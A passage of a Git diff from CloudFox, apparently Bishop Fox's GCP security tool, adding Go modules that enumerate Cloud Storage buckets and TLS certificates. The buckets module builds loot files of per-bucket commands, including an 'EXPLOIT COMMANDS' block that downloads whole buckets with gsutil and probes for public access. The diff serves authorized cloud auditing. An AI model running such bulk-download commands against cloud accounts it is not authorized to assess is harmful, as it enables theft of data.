files := m.ProjectSensitiveFiles[projectID]
if len(files) > 0 {
tableFiles = append(tableFiles, internal.TableFile{
Name: "storage-enum",
Header: m.getFilesHeader(),
Body: m.filesToTableBody(files),
})
sensitiveBody := m.sensitiveFilesToTableBody(files)
if len(sensitiveBody) > 0 {
tableFiles = append(tableFiles, internal.TableFile{
Name: "storage-enum-sensitive",
Header: m.getSensitiveFilesHeader(),
Body: sensitiveBody,
})
}
}
}
return tableFiles
}
func (m *BucketEnumModule) writeHierarchicalOutput(ctx context.Context, logger internal.Logger) {
outputData := internal.HierarchicalOutputData{
OrgLevelData: make(map[string]internal.CloudfoxOutput),
ProjectLevelData: make(map[string]internal.CloudfoxOutput),
}
// Get the appropriate project map based on mode
var projectIDs []string
if m.EnumerateAll {
for projectID := range m.ProjectAllObjects {
projectIDs = append(projectIDs, projectID)
}
} else {
for projectID := range m.ProjectSensitiveFiles {
projectIDs = append(projectIDs, projectID)
}
}
for _, projectID := range projectIDs {
tableFiles := m.buildTablesForProject(projectID)
var lootFiles []internal.LootFile
if projectLoot, ok := m.LootMap[projectID]; ok {
for _, loot := range projectLoot {
if loot != nil && loot.Contents != "" && !strings.HasSuffix(loot.Contents, "# WARNING: Only use with proper authorization\n\n") {
lootFiles = append(lootFiles, *loot)
}
}
}
outputData.ProjectLevelData[projectID] = BucketEnumOutput{Table: tableFiles, Loot: lootFiles}
}
pathBuilder := m.BuildPathBuilder()
err := internal.HandleHierarchicalOutputSmart("gcp", m.Format, m.Verbosity, m.WrapTable, pathBuilder, outputData)
if err != nil {
logger.ErrorM(fmt.Sprintf("Error writing hierarchical output: %v", err), globals.GCP_STORAGEENUM_MODULE_NAME)
}
}
func (m *BucketEnumModule) writeFlatOutput(ctx context.Context, logger internal.Logger) {
var tables []internal.TableFile
if m.EnumerateAll {
// Full enumeration mode
allObjects := m.getAllObjects()
if len(allObjects) > 0 {
tables = append(tables, internal.TableFile{
Name: "storage-enum-all",
Header: m.getAllObjectsHeader(),
Body: m.allObjectsToTableBody(allObjects),
})
// Count public objects
publicCount := 0
for _, obj := range allObjects {
if obj.IsPublic {
publicCount++
}
}
if publicCount > 0 {
logger.InfoM(fmt.Sprintf("[FINDING] Found %d publicly accessible object(s)!", publicCount), globals.GCP_STORAGEENUM_MODULE_NAME)
}
}
} else {
// Sensitive files mode
allFiles := m.getAllSensitiveFiles()
if len(allFiles) > 0 {
tables = append(tables, internal.TableFile{
Name: "storage-enum",
Header: m.getFilesHeader(),
Body: m.filesToTableBody(allFiles),
})
sensitiveBody := m.sensitiveFilesToTableBody(allFiles)
if len(sensitiveBody) > 0 {
tables = append(tables, internal.TableFile{
Name: "storage-enum-sensitive",
Header: m.getSensitiveFilesHeader(),
Body: sensitiveBody,
})
logger.InfoM(fmt.Sprintf("[FINDING] Found %d CRITICAL/HIGH risk files!", len(sensitiveBody)), globals.GCP_STORAGEENUM_MODULE_NAME)
}
}
}
var lootFiles []internal.LootFile
for _, projectLoot := range m.LootMap {
for _, loot := range projectLoot {
if loot != nil && loot.Contents != "" && !strings.HasSuffix(loot.Contents, "# WARNING: Only use with proper authorization\n\n") {
lootFiles = append(lootFiles, *loot)
}
}
}
output := BucketEnumOutput{Table: tables, Loot: lootFiles}
scopeNames := make([]string, len(m.ProjectIDs))
for i, id := range m.ProjectIDs {
scopeNames[i] = m.GetProjectName(id)
}
err := internal.HandleOutputSmart("gcp", m.Format, m.OutputDirectory, m.Verbosity, m.WrapTable,
"project", m.ProjectIDs, scopeNames, m.Account, output)
if err != nil {
logger.ErrorM(fmt.Sprintf("Error writing output: %v", err), globals.GCP_STORAGEENUM_MODULE_NAME)
}
}
// getObjectDir returns the directory portion of an object path
// e.g., "processReports-pilot-gcp-01/function-source.zip" -> "processReports-pilot-gcp-01/"
// e.g., "file.txt" -> ""
func getObjectDir(objectName string) string {
lastSlash := strings.LastIndex(objectName, "/")
if lastSlash == -1 {
return ""
}
return objectName[:lastSlash+1]
}
func formatFileSize(bytes int64) string {
const (
KB = 1024
MB = KB * 1024
GB = MB * 1024
)
switch {
case bytes >= GB:
return fmt.Sprintf("%.1f GB", float64(bytes)/GB)
case bytes >= MB:
return fmt.Sprintf("%.1f MB", float64(bytes)/MB)
case bytes >= KB:
return fmt.Sprintf("%.1f KB", float64(bytes)/KB)
default:
return fmt.Sprintf("%d B", bytes)
}
}
+450 -83
View File
@@ -1,115 +1,482 @@
package commands
import (
"context"
"fmt"
"strings"
"sync"
CloudStorageService "github.com/BishopFox/cloudfox/gcp/services/cloudStorageService"
"github.com/BishopFox/cloudfox/gcp/shared"
"github.com/BishopFox/cloudfox/globals"
"github.com/BishopFox/cloudfox/internal"
gcpinternal "github.com/BishopFox/cloudfox/internal/gcp"
"github.com/spf13/cobra"
)
var GCPBucketsCommand = &cobra.Command{
Use: globals.GCP_BUCKETS_MODULE_NAME,
Aliases: []string{},
Short: "Display GCP buckets information",
Args: cobra.MinimumNArgs(0),
Long: `
Display available bucket information:
cloudfox gcp buckets`,
Run: runGCPBucketsCommand,
var GCPStorageCommand = &cobra.Command{
Use: globals.GCP_STORAGE_MODULE_NAME,
Aliases: []string{"buckets", "gcs"},
Short: "Enumerate GCP Cloud Storage buckets with security configuration",
Long: `Enumerate GCP Cloud Storage buckets across projects with security-relevant details.
Features:
- Lists all buckets accessible to the authenticated user
- Shows security configuration (public access prevention, uniform access, versioning)
- Enumerates IAM policies and identifies public buckets
- Shows encryption type (Google-managed vs CMEK)
- Shows retention, soft delete, and lifecycle policies
- Generates gcloud commands for further enumeration
- Generates exploitation commands for data access
Security Columns:
- Public: Whether the bucket has allUsers or allAuthenticatedUsers access
- Public Access Prevention:
"enforced" = Public access blocked at bucket level
"inherited" = Inherits from project/org (may allow public if not blocked above)
"unspecified" = No prevention (most permissive)
- Uniform Access:
"Yes" = IAM-only access control (recommended, no ACLs)
"No (ACLs)" = Legacy ACLs enabled - access can be granted at object level
bypassing bucket IAM, harder to audit
- Soft Delete: Retention period for deleted objects (ransomware protection)
"No" = Deleted objects are immediately removed
"Xd" = Deleted objects retained for X days before permanent deletion
- Lifecycle: Automated object management rules
"Delete@Xd" = Objects auto-deleted after X days (data loss risk if short)
"Archive" = Objects transitioned to cheaper storage classes
"X rules" = Number of lifecycle rules configured
- Versioning: Object versioning (helps recovery, compliance)
- Encryption: "Google-managed" or "CMEK" (customer-managed keys)`,
Run: runGCPStorageCommand,
}
// Code needed to output fields from buckets results using generic HandleOutput function
// ------------------------------
// Module Struct with embedded BaseGCPModule
// ------------------------------
type BucketsModule struct {
gcpinternal.BaseGCPModule
// Results struct that implements the internal.OutputInterface
type GCPBucketsResults struct {
Data []CloudStorageService.BucketInfo
// Module-specific fields - per-project for hierarchical output
ProjectBuckets map[string][]CloudStorageService.BucketInfo // projectID -> buckets
LootMap map[string]map[string]*internal.LootFile // projectID -> loot files
FoxMapperCache *gcpinternal.FoxMapperCache // FoxMapper graph data (preferred)
mu sync.Mutex
}
// Decide what format the name, header and body of the CSV & JSON files will be
func (g GCPBucketsResults) TableFiles() []internal.TableFile {
var tableFiles []internal.TableFile
// ------------------------------
// Output Struct implementing CloudfoxOutput interface
// ------------------------------
type BucketsOutput struct {
Table []internal.TableFile
Loot []internal.LootFile
}
header := []string{
"Name",
"Location",
"ProjectID",
func (o BucketsOutput) TableFiles() []internal.TableFile { return o.Table }
func (o BucketsOutput) LootFiles() []internal.LootFile { return o.Loot }
// ------------------------------
// Command Entry Point
// ------------------------------
func runGCPStorageCommand(cmd *cobra.Command, args []string) {
// Initialize command context
cmdCtx, err := gcpinternal.InitializeCommandContext(cmd, globals.GCP_STORAGE_MODULE_NAME)
if err != nil {
return // Error already logged
}
var body [][]string
for _, value := range g.Data {
body = append(
body,
[]string{
value.Name,
value.Location,
value.ProjectID,
},
)
// Create module instance
module := &BucketsModule{
BaseGCPModule: gcpinternal.NewBaseGCPModule(cmdCtx),
ProjectBuckets: make(map[string][]CloudStorageService.BucketInfo),
LootMap: make(map[string]map[string]*internal.LootFile),
}
tableFile := internal.TableFile{
// Execute enumeration
module.Execute(cmdCtx.Ctx, cmdCtx.Logger)
}
// ------------------------------
// Module Execution
// ------------------------------
func (m *BucketsModule) Execute(ctx context.Context, logger internal.Logger) {
// Try to get FoxMapper cache (preferred - graph-based analysis)
m.FoxMapperCache = gcpinternal.GetFoxMapperCacheFromContext(ctx)
if m.FoxMapperCache != nil && m.FoxMapperCache.IsPopulated() {
logger.InfoM("Using FoxMapper graph data for attack path analysis", globals.GCP_STORAGE_MODULE_NAME)
}
// Run enumeration with concurrency
m.RunProjectEnumeration(ctx, logger, m.ProjectIDs, globals.GCP_STORAGE_MODULE_NAME, m.processProject)
// Get all buckets for stats
allBuckets := m.getAllBuckets()
if len(allBuckets) == 0 {
logger.InfoM("No buckets found", globals.GCP_STORAGE_MODULE_NAME)
return
}
// Count public buckets for summary
publicCount := 0
for _, bucket := range allBuckets {
if bucket.IsPublic {
publicCount++
}
}
if publicCount > 0 {
logger.SuccessM(fmt.Sprintf("Found %d bucket(s), %d PUBLIC", len(allBuckets), publicCount), globals.GCP_STORAGE_MODULE_NAME)
} else {
logger.SuccessM(fmt.Sprintf("Found %d bucket(s)", len(allBuckets)), globals.GCP_STORAGE_MODULE_NAME)
}
// Write output
m.writeOutput(ctx, logger)
}
// getAllBuckets returns all buckets from all projects (for statistics)
func (m *BucketsModule) getAllBuckets() []CloudStorageService.BucketInfo {
var all []CloudStorageService.BucketInfo
for _, buckets := range m.ProjectBuckets {
all = append(all, buckets...)
}
return all
}
// ------------------------------
// Project Processor (called concurrently for each project)
// ------------------------------
func (m *BucketsModule) processProject(ctx context.Context, projectID string, logger internal.Logger) {
if globals.GCP_VERBOSITY >= globals.GCP_VERBOSE_ERRORS {
logger.InfoM(fmt.Sprintf("Enumerating buckets in project: %s", projectID), globals.GCP_STORAGE_MODULE_NAME)
}
// Create service and fetch buckets
cs := CloudStorageService.New()
buckets, err := cs.Buckets(projectID)
if err != nil {
m.CommandCounter.IncrError()
gcpinternal.HandleGCPError(err, logger, globals.GCP_STORAGE_MODULE_NAME,
fmt.Sprintf("Could not enumerate buckets in project %s", projectID))
return
}
// Thread-safe store per-project
m.mu.Lock()
m.ProjectBuckets[projectID] = buckets
// Initialize loot for this project
if m.LootMap[projectID] == nil {
m.LootMap[projectID] = make(map[string]*internal.LootFile)
m.LootMap[projectID]["buckets-commands"] = &internal.LootFile{
Name: "buckets-commands",
Contents: "# GCP Cloud Storage Bucket Commands\n# Generated by CloudFox\n# WARNING: Only use with proper authorization\n\n",
}
}
// Generate loot for each bucket
for _, bucket := range buckets {
m.addBucketToLoot(projectID, bucket)
}
m.mu.Unlock()
if globals.GCP_VERBOSITY >= globals.GCP_VERBOSE_ERRORS {
logger.InfoM(fmt.Sprintf("Found %d bucket(s) in project %s", len(buckets), projectID), globals.GCP_STORAGE_MODULE_NAME)
}
}
// ------------------------------
// Loot File Management
// ------------------------------
func (m *BucketsModule) addBucketToLoot(projectID string, bucket CloudStorageService.BucketInfo) {
lootFile := m.LootMap[projectID]["buckets-commands"]
if lootFile == nil {
return
}
// All commands for this bucket
lootFile.Contents += fmt.Sprintf(
"# =============================================================================\n"+
"# BUCKET: gs://%s\n"+
"# =============================================================================\n"+
"# Project: %s, Location: %s\n\n"+
"# === ENUMERATION COMMANDS ===\n\n"+
"# Describe bucket:\n"+
"gcloud storage buckets describe gs://%s --project=%s\n"+
"# Get IAM policy:\n"+
"gcloud storage buckets get-iam-policy gs://%s --project=%s\n"+
"# List objects:\n"+
"gsutil ls gs://%s/\n"+
"gsutil ls -L gs://%s/\n"+
"# List all objects recursively:\n"+
"gsutil ls -r gs://%s/**\n"+
"# Get bucket size:\n"+
"gsutil du -s gs://%s/\n\n"+
"# === EXPLOIT COMMANDS ===\n\n"+
"# Download all contents (create directory first):\n"+
"mkdir -p bucket/%s/\n"+
"gsutil -m cp -r gs://%s/ bucket/%s/\n"+
"# Check for public access:\n"+
"curl -s https://storage.googleapis.com/%s/ | head -20\n\n",
bucket.Name, bucket.ProjectID, bucket.Location,
bucket.Name, bucket.ProjectID,
bucket.Name, bucket.ProjectID,
bucket.Name,
bucket.Name,
bucket.Name,
bucket.Name,
bucket.Name,
bucket.Name, bucket.Name,
bucket.Name,
)
}
// Helper functions are now provided by the shared package:
// - shared.BoolToYesNo() for boolean formatting
// - shared.GetPrincipalType() for IAM member type extraction
// ------------------------------
// Output Generation
// ------------------------------
func (m *BucketsModule) writeOutput(ctx context.Context, logger internal.Logger) {
// Log findings first
allBuckets := m.getAllBuckets()
publicCount := 0
for _, bucket := range allBuckets {
if bucket.IsPublic {
publicCount++
}
}
if publicCount > 0 {
logger.InfoM(fmt.Sprintf("[FINDING] Found %d publicly accessible bucket(s)!", publicCount), globals.GCP_STORAGE_MODULE_NAME)
}
// Decide between hierarchical and flat output
if m.Hierarchy != nil && !m.FlatOutput {
m.writeHierarchicalOutput(ctx, logger)
} else {
m.writeFlatOutput(ctx, logger)
}
}
// writeHierarchicalOutput writes output to per-project directories
func (m *BucketsModule) writeHierarchicalOutput(ctx context.Context, logger internal.Logger) {
header := m.getTableHeader()
// Build hierarchical output data
outputData := internal.HierarchicalOutputData{
OrgLevelData: make(map[string]internal.CloudfoxOutput),
ProjectLevelData: make(map[string]internal.CloudfoxOutput),
}
// Build project-level outputs
for projectID, buckets := range m.ProjectBuckets {
body := m.bucketsToTableBody(buckets)
tables := []internal.TableFile{{
Name: globals.GCP_STORAGE_MODULE_NAME,
Header: header,
Body: body,
}}
// Collect loot for this project
var lootFiles []internal.LootFile
if projectLoot, ok := m.LootMap[projectID]; ok {
for _, loot := range projectLoot {
if loot != nil && loot.Contents != "" && !strings.HasSuffix(loot.Contents, "# Generated by CloudFox\n# WARNING: Only use with proper authorization\n\n") {
lootFiles = append(lootFiles, *loot)
}
}
}
outputData.ProjectLevelData[projectID] = BucketsOutput{Table: tables, Loot: lootFiles}
}
// Create path builder using the module's hierarchy
pathBuilder := m.BuildPathBuilder()
// Write using hierarchical output
err := internal.HandleHierarchicalOutputSmart(
"gcp",
m.Format,
m.Verbosity,
m.WrapTable,
pathBuilder,
outputData,
)
if err != nil {
logger.ErrorM(fmt.Sprintf("Error writing hierarchical output: %v", err), globals.GCP_STORAGE_MODULE_NAME)
m.CommandCounter.IncrError()
}
}
// writeFlatOutput writes all output to a single directory (legacy mode)
func (m *BucketsModule) writeFlatOutput(ctx context.Context, logger internal.Logger) {
header := m.getTableHeader()
allBuckets := m.getAllBuckets()
body := m.bucketsToTableBody(allBuckets)
// Collect all loot files
var lootFiles []internal.LootFile
for _, projectLoot := range m.LootMap {
for _, loot := range projectLoot {
if loot != nil && loot.Contents != "" && !strings.HasSuffix(loot.Contents, "# Generated by CloudFox\n# WARNING: Only use with proper authorization\n\n") {
lootFiles = append(lootFiles, *loot)
}
}
}
tableFiles := []internal.TableFile{{
Name: globals.GCP_STORAGE_MODULE_NAME,
Header: header,
Body: body,
Name: globals.GCP_BUCKETS_MODULE_NAME,
}
tableFiles = append(tableFiles, tableFile)
}}
return tableFiles
output := BucketsOutput{
Table: tableFiles,
Loot: lootFiles,
}
// Build scope names from project names map
scopeNames := make([]string, len(m.ProjectIDs))
for i, id := range m.ProjectIDs {
scopeNames[i] = m.GetProjectName(id)
}
// Write output using HandleOutputSmart with scope support
err := internal.HandleOutputSmart(
"gcp",
m.Format,
m.OutputDirectory,
m.Verbosity,
m.WrapTable,
"project", // scopeType
m.ProjectIDs, // scopeIdentifiers
scopeNames, // scopeNames (display names)
m.Account,
output,
)
if err != nil {
logger.ErrorM(fmt.Sprintf("Error writing output: %v", err), globals.GCP_STORAGE_MODULE_NAME)
m.CommandCounter.IncrError()
}
}
// Decide what is loot based on resource information
func (g GCPBucketsResults) LootFiles() []internal.LootFile {
return []internal.LootFile{}
// getTableHeader returns the buckets table header
func (m *BucketsModule) getTableHeader() []string {
return []string{
"Project",
"Name",
"Location",
"Public",
"Public Access Prevention",
"Uniform Access",
"Soft Delete",
"Lifecycle",
"Versioning",
"Encryption",
"IAM Binding Role",
"Principal Type",
"IAM Binding Principal",
"Principal Attack Paths",
}
}
// Houses high-level logic that retrieves resources and writes to output
func runGCPBucketsCommand(cmd *cobra.Command, args []string) {
// Retrieve projectIDs from parent (gcp command) ctx
var projectIDs []string
var account string
parentCmd := cmd.Parent()
ctx := cmd.Context()
logger := internal.NewLogger()
if value, ok := ctx.Value("projectIDs").([]string); ok && len(value) > 0 {
projectIDs = value
} else {
logger.ErrorM("Could not retrieve projectIDs from flag value or value is empty", globals.GCP_BUCKETS_MODULE_NAME)
}
if value, ok := ctx.Value("account").(string); ok {
account = value
} else {
logger.ErrorM("Could not retrieve account email from command", globals.GCP_BUCKETS_MODULE_NAME)
}
// Get the bucket info using the projectIDs and CloudStorageService
cs := CloudStorageService.New()
var results []CloudStorageService.BucketInfo
// Set output params leveraging parent (gcp) pflag values
verbosity, _ := parentCmd.PersistentFlags().GetInt("verbosity")
wrap, _ := parentCmd.PersistentFlags().GetBool("wrap")
outputDirectory, _ := parentCmd.PersistentFlags().GetString("outdir")
format, _ := parentCmd.PersistentFlags().GetString("output")
for _, projectID := range projectIDs {
logger.InfoM(fmt.Sprintf("Retrieving all buckets from project: %s", projectID), globals.GCP_BUCKETS_MODULE_NAME)
result, err := cs.Buckets(projectID)
if err != nil {
logger.ErrorM(err.Error(), globals.GCP_BUCKETS_MODULE_NAME)
return
// bucketsToTableBody converts buckets to table body rows
func (m *BucketsModule) bucketsToTableBody(buckets []CloudStorageService.BucketInfo) [][]string {
var body [][]string
for _, bucket := range buckets {
// Format public access
publicDisplay := "No"
if bucket.IsPublic {
publicDisplay = bucket.PublicAccess
}
results = append(results, result...)
logger.InfoM(fmt.Sprintf("Done retrieving all buckets from project: %s", projectID), globals.GCP_BUCKETS_MODULE_NAME)
cloudfoxOutput := GCPBucketsResults{Data: results}
err = internal.HandleOutput("gcp", format, outputDirectory, verbosity, wrap, globals.GCP_BUCKETS_MODULE_NAME, account, projectID, cloudfoxOutput)
if err != nil {
logger.ErrorM(err.Error(), globals.GCP_BUCKETS_MODULE_NAME)
return
// Format soft delete
softDeleteDisplay := "No"
if bucket.SoftDeleteEnabled {
softDeleteDisplay = fmt.Sprintf("%dd", bucket.SoftDeleteRetentionDays)
}
// Format lifecycle - show delete rule age if present
lifecycleDisplay := "No"
if bucket.LifecycleEnabled {
if bucket.HasDeleteRule && bucket.ShortestDeleteDays > 0 {
lifecycleDisplay = fmt.Sprintf("Delete@%dd", bucket.ShortestDeleteDays)
} else if bucket.HasArchiveRule {
lifecycleDisplay = "Archive"
} else {
lifecycleDisplay = fmt.Sprintf("%d rules", bucket.LifecycleRuleCount)
}
}
// Format uniform access - highlight security concern if disabled
uniformAccessDisplay := "Yes"
if !bucket.UniformBucketLevelAccess {
uniformAccessDisplay = "No (ACLs)"
}
// Format encryption - show KMS key if CMEK
encryptionDisplay := bucket.EncryptionType
if bucket.EncryptionType == "CMEK" && bucket.KMSKeyName != "" {
// Extract just the key name from the full path for display
// Format: projects/PROJECT/locations/LOCATION/keyRings/RING/cryptoKeys/KEY
keyParts := strings.Split(bucket.KMSKeyName, "/")
if len(keyParts) >= 2 {
encryptionDisplay = fmt.Sprintf("CMEK (%s)", keyParts[len(keyParts)-1])
}
}
// One row per IAM member
if len(bucket.IAMBindings) > 0 {
for _, binding := range bucket.IAMBindings {
for _, member := range binding.Members {
memberType := shared.GetPrincipalType(member)
// Check attack paths for service account principals
attackPaths := "-"
if memberType == "ServiceAccount" {
// Extract email from member string (serviceAccount:email@...)
email := strings.TrimPrefix(member, "serviceAccount:")
attackPaths = gcpinternal.GetAttackSummaryFromCaches(m.FoxMapperCache, nil, email)
}
body = append(body, []string{
m.GetProjectName(bucket.ProjectID),
bucket.Name,
bucket.Location,
publicDisplay,
bucket.PublicAccessPrevention,
uniformAccessDisplay,
softDeleteDisplay,
lifecycleDisplay,
shared.BoolToYesNo(bucket.VersioningEnabled),
encryptionDisplay,
binding.Role,
memberType,
member,
attackPaths,
})
}
}
} else {
// Bucket with no IAM bindings
body = append(body, []string{
m.GetProjectName(bucket.ProjectID),
bucket.Name,
bucket.Location,
publicDisplay,
bucket.PublicAccessPrevention,
uniformAccessDisplay,
softDeleteDisplay,
lifecycleDisplay,
shared.BoolToYesNo(bucket.VersioningEnabled),
encryptionDisplay,
"-",
"-",
"-",
"-",
})
}
logger.InfoM(fmt.Sprintf("Done writing output for project %s", projectID), globals.GCP_BUCKETS_MODULE_NAME)
}
return body
}
+382
View File
@@ -0,0 +1,382 @@
package commands
import (
"context"
"fmt"
"strings"
"sync"
certmanagerservice "github.com/BishopFox/cloudfox/gcp/services/certManagerService"
"github.com/BishopFox/cloudfox/globals"
"github.com/BishopFox/cloudfox/internal"
gcpinternal "github.com/BishopFox/cloudfox/internal/gcp"
"github.com/spf13/cobra"
)
var GCPCertManagerCommand = &cobra.Command{
Use: globals.GCP_CERTMANAGER_MODULE_NAME,
Aliases: []string{"certs", "certificates", "ssl"},
Short: "Enumerate SSL/TLS certificates and find expiring or misconfigured certs",
Long: `Enumerate SSL/TLS certificates from Certificate Manager and Compute Engine.
This module finds all certificates and identifies security issues:
- Expired or soon-to-expire certificates
- Failed certificate issuance
- Wildcard certificates (higher impact if compromised)
- Self-managed certificates that need manual renewal
Security Relevance:
- Expired certificates cause outages and security warnings
- Wildcard certificates can be abused to MITM any subdomain
- Certificate domains reveal infrastructure and services
- Self-managed certs may have exposed private keys
What this module finds:
- Certificate Manager certificates (global)
- Compute Engine SSL certificates (classic)
- Certificate maps
- Expiration status
- Associated domains`,
Run: runGCPCertManagerCommand,
}
// ------------------------------
// Module Struct
// ------------------------------
type CertManagerModule struct {
gcpinternal.BaseGCPModule
ProjectCertificates map[string][]certmanagerservice.Certificate // projectID -> certificates
ProjectSSLCertificates map[string][]certmanagerservice.SSLCertificate // projectID -> SSL certs
ProjectCertMaps map[string][]certmanagerservice.CertificateMap // projectID -> cert maps
mu sync.Mutex
}
// ------------------------------
// Output Struct
// ------------------------------
type CertManagerOutput struct {
Table []internal.TableFile
Loot []internal.LootFile
}
func (o CertManagerOutput) TableFiles() []internal.TableFile { return o.Table }
func (o CertManagerOutput) LootFiles() []internal.LootFile { return o.Loot }
// ------------------------------
// Command Entry Point
// ------------------------------
func runGCPCertManagerCommand(cmd *cobra.Command, args []string) {
cmdCtx, err := gcpinternal.InitializeCommandContext(cmd, globals.GCP_CERTMANAGER_MODULE_NAME)
if err != nil {
return
}
module := &CertManagerModule{
BaseGCPModule: gcpinternal.NewBaseGCPModule(cmdCtx),
ProjectCertificates: make(map[string][]certmanagerservice.Certificate),
ProjectSSLCertificates: make(map[string][]certmanagerservice.SSLCertificate),
ProjectCertMaps: make(map[string][]certmanagerservice.CertificateMap),
}
module.Execute(cmdCtx.Ctx, cmdCtx.Logger)
}
// ------------------------------
// Module Execution
// ------------------------------
func (m *CertManagerModule) Execute(ctx context.Context, logger internal.Logger) {
m.RunProjectEnumeration(ctx, logger, m.ProjectIDs, globals.GCP_CERTMANAGER_MODULE_NAME, m.processProject)
allCerts := m.getAllCertificates()
allSSLCerts := m.getAllSSLCertificates()
allCertMaps := m.getAllCertMaps()
totalCerts := len(allCerts) + len(allSSLCerts)
if totalCerts == 0 {
logger.InfoM("No certificates found", globals.GCP_CERTMANAGER_MODULE_NAME)
return
}
// Count expiring/expired certs
expiringCount := 0
expiredCount := 0
for _, cert := range allCerts {
if cert.DaysUntilExpiry < 0 {
expiredCount++
} else if cert.DaysUntilExpiry <= 30 {
expiringCount++
}
}
for _, cert := range allSSLCerts {
if cert.DaysUntilExpiry < 0 {
expiredCount++
} else if cert.DaysUntilExpiry <= 30 {
expiringCount++
}
}
logger.SuccessM(fmt.Sprintf("Found %d certificate(s), %d map(s)",
totalCerts, len(allCertMaps)), globals.GCP_CERTMANAGER_MODULE_NAME)
if expiredCount > 0 {
logger.InfoM(fmt.Sprintf("[HIGH] %d certificate(s) have EXPIRED!", expiredCount), globals.GCP_CERTMANAGER_MODULE_NAME)
}
if expiringCount > 0 {
logger.InfoM(fmt.Sprintf("[MEDIUM] %d certificate(s) expire within 30 days", expiringCount), globals.GCP_CERTMANAGER_MODULE_NAME)
}
m.writeOutput(ctx, logger)
}
func (m *CertManagerModule) getAllCertificates() []certmanagerservice.Certificate {
var all []certmanagerservice.Certificate
for _, certs := range m.ProjectCertificates {
all = append(all, certs...)
}
return all
}
func (m *CertManagerModule) getAllSSLCertificates() []certmanagerservice.SSLCertificate {
var all []certmanagerservice.SSLCertificate
for _, certs := range m.ProjectSSLCertificates {
all = append(all, certs...)
}
return all
}
func (m *CertManagerModule) getAllCertMaps() []certmanagerservice.CertificateMap {
var all []certmanagerservice.CertificateMap
for _, maps := range m.ProjectCertMaps {
all = append(all, maps...)
}
return all
}
// ------------------------------
// Project Processor
// ------------------------------
func (m *CertManagerModule) processProject(ctx context.Context, projectID string, logger internal.Logger) {
if globals.GCP_VERBOSITY >= globals.GCP_VERBOSE_ERRORS {
logger.InfoM(fmt.Sprintf("Checking certificates in project: %s", projectID), globals.GCP_CERTMANAGER_MODULE_NAME)
}
svc := certmanagerservice.New()
// Get Certificate Manager certs
certs, err := svc.GetCertificates(projectID)
if err != nil {
m.CommandCounter.IncrError()
gcpinternal.HandleGCPError(err, logger, globals.GCP_CERTMANAGER_MODULE_NAME,
fmt.Sprintf("Could not enumerate certificates in project %s", projectID))
}
// Get classic SSL certs
sslCerts, err := svc.GetSSLCertificates(projectID)
if err != nil {
m.CommandCounter.IncrError()
gcpinternal.HandleGCPError(err, logger, globals.GCP_CERTMANAGER_MODULE_NAME,
fmt.Sprintf("Could not enumerate SSL certificates in project %s", projectID))
}
// Get certificate maps
certMaps, err := svc.GetCertificateMaps(projectID)
if err != nil {
m.CommandCounter.IncrError()
gcpinternal.HandleGCPError(err, logger, globals.GCP_CERTMANAGER_MODULE_NAME,
fmt.Sprintf("Could not enumerate certificate maps in project %s", projectID))
}
m.mu.Lock()
m.ProjectCertificates[projectID] = certs
m.ProjectSSLCertificates[projectID] = sslCerts
m.ProjectCertMaps[projectID] = certMaps
m.mu.Unlock()
}
// ------------------------------
// Output Generation
// ------------------------------
func (m *CertManagerModule) writeOutput(ctx context.Context, logger internal.Logger) {
if m.Hierarchy != nil && !m.FlatOutput {
m.writeHierarchicalOutput(ctx, logger)
} else {
m.writeFlatOutput(ctx, logger)
}
}
func (m *CertManagerModule) getCertificatesHeader() []string {
return []string{"Project", "Name", "Type", "Domains", "Expires", "Days Left", "Wildcard", "Expired", "Self-Managed"}
}
func (m *CertManagerModule) getCertMapsHeader() []string {
return []string{"Project", "Name", "Location", "Entries", "Certificates"}
}
func (m *CertManagerModule) certsToTableBody(certs []certmanagerservice.Certificate, sslCerts []certmanagerservice.SSLCertificate) [][]string {
var body [][]string
for _, cert := range certs {
wildcard := "No"
if cert.Wildcard {
wildcard = "Yes"
}
expired := "No"
if cert.Expired {
expired = "Yes"
}
selfManaged := "No"
if cert.SelfManaged {
selfManaged = "Yes"
}
body = append(body, []string{
m.GetProjectName(cert.ProjectID),
cert.Name,
cert.Type,
strings.Join(cert.Domains, ", "),
cert.ExpireTime,
fmt.Sprintf("%d", cert.DaysUntilExpiry),
wildcard,
expired,
selfManaged,
})
}
for _, cert := range sslCerts {
wildcard := "No"
if cert.Wildcard {
wildcard = "Yes"
}
expired := "No"
if cert.Expired {
expired = "Yes"
}
selfManaged := "No"
if cert.SelfManaged {
selfManaged = "Yes"
}
body = append(body, []string{
m.GetProjectName(cert.ProjectID),
cert.Name,
cert.Type,
strings.Join(cert.Domains, ", "),
cert.ExpireTime,
fmt.Sprintf("%d", cert.DaysUntilExpiry),
wildcard,
expired,
selfManaged,
})
}
return body
}
func (m *CertManagerModule) certMapsToTableBody(certMaps []certmanagerservice.CertificateMap) [][]string {
var body [][]string
for _, certMap := range certMaps {
body = append(body, []string{
m.GetProjectName(certMap.ProjectID),
certMap.Name,
certMap.Location,
fmt.Sprintf("%d", certMap.EntryCount),
strings.Join(certMap.Certificates, ", "),
})
}
return body
}
func (m *CertManagerModule) buildTablesForProject(projectID string) []internal.TableFile {
var tableFiles []internal.TableFile
certs := m.ProjectCertificates[projectID]
sslCerts := m.ProjectSSLCertificates[projectID]
if len(certs) > 0 || len(sslCerts) > 0 {
tableFiles = append(tableFiles, internal.TableFile{
Name: "certificates",
Header: m.getCertificatesHeader(),
Body: m.certsToTableBody(certs, sslCerts),
})
}
if certMaps, ok := m.ProjectCertMaps[projectID]; ok && len(certMaps) > 0 {
tableFiles = append(tableFiles, internal.TableFile{
Name: "certificate-maps",
Header: m.getCertMapsHeader(),
Body: m.certMapsToTableBody(certMaps),
})
}
return tableFiles
}
func (m *CertManagerModule) writeHierarchicalOutput(ctx context.Context, logger internal.Logger) {
outputData := internal.HierarchicalOutputData{
OrgLevelData: make(map[string]internal.CloudfoxOutput),
ProjectLevelData: make(map[string]internal.CloudfoxOutput),
}
// Get all project IDs that have data
projectIDs := make(map[string]bool)
for projectID := range m.ProjectCertificates {
projectIDs[projectID] = true
}
for projectID := range m.ProjectSSLCertificates {
projectIDs[projectID] = true
}
for projectID := range m.ProjectCertMaps {
projectIDs[projectID] = true
}
for projectID := range projectIDs {
tableFiles := m.buildTablesForProject(projectID)
outputData.ProjectLevelData[projectID] = CertManagerOutput{Table: tableFiles}
}
pathBuilder := m.BuildPathBuilder()
err := internal.HandleHierarchicalOutputSmart("gcp", m.Format, m.Verbosity, m.WrapTable, pathBuilder, outputData)
if err != nil {
logger.ErrorM(fmt.Sprintf("Error writing hierarchical output: %v", err), globals.GCP_CERTMANAGER_MODULE_NAME)
